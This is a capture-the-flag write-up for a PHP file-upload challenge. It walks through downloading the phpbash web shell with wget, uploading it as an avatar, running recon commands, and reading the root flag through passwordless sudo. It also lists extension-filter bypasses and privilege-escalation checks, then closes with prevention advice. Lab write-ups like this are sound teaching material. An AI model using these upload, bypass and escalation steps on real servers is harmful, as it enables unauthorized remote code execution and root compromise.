Description
The profile-picture upload endpoint accepts any file, drops it in /uploads, and serves it back. Upload a PHP web shell, browse to it, and use sudo to read /root/flag.txt.
Setup
Download phpbash.php (single-file, decade-tested PHP web shell - weevely is more featureful but staging it is overkill here).
Upload it via the avatar form and note the returned path (e.g., uploads/phpbash.php).
Browse to /uploads/phpbash.php to verify execution: an interactive terminal UI means PHP ran. If you see raw <?php source instead, the server isn't passing .php files to the interpreter and you'd need a different filename or extension.
wget https://raw.githubusercontent.com/Arrexel/phpbash/master/phpbash.php# In the web shell, recon first:id; pwd; sudo -lsudo cat /root/flag.txtSolution
Walk me through it- Step 1Gain a shellBrowse to
http://host/uploads/phpbash.php. The terminal UI confirms the server executed PHP.idreportsuid=33(www-data),pwdlands you in/var/www/html/uploads, andsudo -llists what root will let www-data run without a password.bash# In the phpbash terminal: id # uid, gid, groups - matters for sudo and file ACLs pwd # confirm you're in the upload dir under the web root sudo -l # what can www-data run as root, NOPASSWD or otherwise ls -la /var/www/htmlLearn more
Unrestricted file upload is one of the most critical web vulnerabilities (OWASP Top 10 A04). When a server accepts arbitrary files without validating their content type or extension, an attacker can upload executable scripts. On a PHP server, uploading a
.phpfile to a web-accessible directory and visiting its URL causes Apache or Nginx to pass it to the PHP interpreter, giving the attacker a web shell.phpbash is a popular open-source web shell that provides a terminal-like interface in the browser. Once served, it executes system commands as the web server's user (typically
www-data). Proper mitigations include validating file content with MIME-type inspection (not just extension), storing uploads outside the web root, serving them through a dedicated file-serving endpoint that strips executable permissions, and using a CDN or object storage service (S3, GCS) rather than the same server.This vulnerability class has enabled some of the most impactful breaches in history. Bypasses exist for naive extension blacklists: using
.php5,.phtml,.PhP(case variation), or embedding a null byte in some older systems. Content-type whitelisting at the HTTP header level is also bypassable because the client sends that header and can lie about it. - Step 2Escalate with sudo
sudo -lprints(ALL) NOPASSWD: ALL, sosudo cat /root/flag.txtprints the flag with no further effort. If the bare command ever fails (TTY weirdness in a web shell), fall back tosudo -u root cat /root/flag.txtor wrap it viasudo bash -c 'cat /root/flag.txt'.bashsudo -lbash# Expected: (ALL) NOPASSWD: ALLbashsudo ls /rootbashsudo cat /root/flag.txtbash# Fallbacks if the simple form misbehaves:bashsudo -u root cat /root/flag.txtbashsudo bash -c 'cat /root/flag.txt'Learn more
Passwordless sudo (
NOPASSWD) is a privilege escalation shortcut that grants a user the ability to run commands as root without entering a password. It is configured in/etc/sudoerswith lines likewww-data ALL=(ALL) NOPASSWD: ALL. While useful for automation, granting unrestrictedNOPASSWDto a web process is catastrophically insecure.In a real penetration test, post-exploitation privilege escalation typically involves checking
sudo -lto list allowed commands, looking for SUID binaries (find / -perm -4000), searching for writable cron jobs or services, and reviewing/etc/sudoersand/etc/sudoers.d/. The combination of web shell plus NOPASSWD sudo is one of the fastest paths from unauthenticated access to full root compromise.The principle of least privilege dictates that web servers should run as a dedicated low-privilege user with no sudo rights, no write access outside their document root, and no ability to read system files. Container-based deployments add another layer of isolation - even if an attacker gains a shell inside a container, they face additional barriers before reaching the host.
Flag
picoCTF{wh47_c4n_u_d0_wPHP_5f89...}
File uploads should validate type and prevent arbitrary execution paths.
How to prevent this
How to prevent this
This whole chain collapses if any one of these controls is in place. None are exotic; they show up in every web framework's docs.
- Validate uploads by content, not extension. Inspect magic bytes server-side and reject anything the renderer would execute (
.php,.phtml,.phar,.jsp,.aspx). - Store uploads outside the web root, or on object storage (S3, GCS, Vercel Blob). Serve them through a handler that sets
Content-Disposition: attachmentand a fixed MIME type so the server never interprets them. - Run the web process as an unprivileged user with zero sudo rights.
NOPASSWD: ALLon a www-data account turns any RCE into instant root.